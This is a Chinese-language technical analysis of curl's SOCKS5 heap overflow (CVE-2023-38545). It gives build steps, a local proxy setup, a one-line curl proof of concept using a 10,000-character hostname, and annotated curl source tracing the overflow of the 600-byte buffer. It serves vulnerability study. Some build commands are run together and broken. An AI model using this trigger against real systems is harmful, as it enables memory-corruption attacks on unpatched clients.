Curl SOCKS5安全漏洞（CVE-2023-38545）分析

wget https://github.com/curl/curl/releases/download/curl-7_74_0/curl-7.74.0.tar.gztar -vxf curl-7.74.0cd curl-7.74.0.tar.gz./configure --with-openssl --enable-debugmake

export LD_LIBRARY_PATH=/root/cve-2023-38545/curl-7.74.0/lib/.libs/

python3 pysoxy.py

./src/.libs/curl -vvv -x socks5h://localhost:9050 $(python3 -c "print(('A'*10000), end='')")

CURLproxycode Curl_SOCKS5(const char *proxy_user,                          const char *proxy_password,                          const char *hostname,                          int remote_port,                          int sockindex,                          struct connectdata *conn,                          bool *done){  ··· ···  //[1]这里我们的状态是CURLPROXY_SOCKS5_HOSTNAME 而不是CURLPROXY_SOCKS5，所以是false  bool socks5_resolve_local =     (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;   const size_t hostname_len = strlen(hostname);  ··· ···

  if(!SOCKS_STATE(sx->state) && !*done)    sxstate(conn, CONNECT_SOCKS_INIT); //[2]设置初始状态

  switch(sx->state) {  case CONNECT_SOCKS_INIT: //[2]初始化逻辑      ··· ···    //[3]关键逻辑hostname_len 是10000 大于255    if(!socks5_resolve_local && hostname_len > 255) {       infof(conn->data, "SOCKS5: server resolving disabled for hostnames of "            "length > 255 [actual len=%zu]n", hostname_len);      socks5_resolve_local = TRUE; //[3]处理方式不是返回错误，而是将 socks5_resolve_local 设置为true    }

    ··· ···    sxstate(conn, CONNECT_SOCKS_READ);//[4]更新状态，按顺序更新状态机    goto CONNECT_SOCKS_READ_INIT;  CONNECT_SOCKS_READ_INIT:  case CONNECT_SOCKS_READ_INIT:    ··· ···  case CONNECT_SOCKS_READ:    ··· ···    if(result && (CURLE_AGAIN != result)) {      ···    }    ··· ···    else if(actualread != sx->outstanding) {      /* remain in reading state */      sx->outstanding -= actualread;      sx->outp += actualread;      return CURLPX_OK; //[5]暂时返回ok    }  ··· ···}

CURLproxycode Curl_SOCKS5(const char *proxy_user,                          const char *proxy_password,                          const char *hostname,                          int remote_port,                          int sockindex,                          struct connectdata *conn,                          bool *done){  //[1]缓冲区整个长只有600  unsigned char *socksreq = &conn->cnnct.socksreq[0];  //[2]这里我们的状态是CURLPROXY_SOCKS5_HOSTNAME 而不是CURLPROXY_SOCKS5，所以是false  bool socks5_resolve_local =     (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;   const size_t hostname_len = strlen(hostname);  ··· ···  switch(sx->state) {  case CONNECT_SOCKS_READ: //[3]当前状态机是CONNECT_SOCKS_READ    ··· ···    if(result && (CURLE_AGAIN != result)) {      ··· ···    }    ··· ···    else if(socksreq[1] == 0) {      /* DONE! No authentication needed. Send request. */      sxstate(conn, CONNECT_REQ_INIT); //[3]在初始化的时候设置为1，第二次执会走到这里      goto CONNECT_REQ_INIT;    }    ··· ···CONNECT_REQ_INIT:  case CONNECT_REQ_INIT:    //[4]由于上面给socks5_resolve_local设置为了false，所以跳过这里    if(socks5_resolve_local) {       ··· ···    }    goto CONNECT_RESOLVE_REMOTE;// 跳转到CONNECT_RESOLVE_REMOTE  ··· ···  CONNECT_RESOLVE_REMOTE:  case CONNECT_RESOLVE_REMOTE:     /* Authentication is complete, now specify destination to the proxy */    len = 0;    socksreq[len++] = 5; /* version (SOCKS5) */    socksreq[len++] = 1; /* connect */    socksreq[len++] = 0; /* must be zero */

    if(!socks5_resolve_local) {      socksreq[len++] = 3; /* ATYP: domain name = 3 */      socksreq[len++] = (char) hostname_len; /* one byte address length */      memcpy(&socksreq[len], hostname, hostname_len); /* address w/o NULL */ //[5]溢出      len += hostname_len;      infof(data, "SOCKS5 connect to %s:%d (remotely resolved)n",            hostname, remote_port);    }  ··· ···}

#define SOCKS_REQUEST_BUFSIZE 600  /* room for large user/pw (255 max each) */struct connstate {  enum connect_t state;  unsigned char socksreq[SOCKS_REQUEST_BUFSIZE];  ··· ···};

struct connectdata {  struct Curl_easy *data;  struct connstate cnnct;  ··· ···}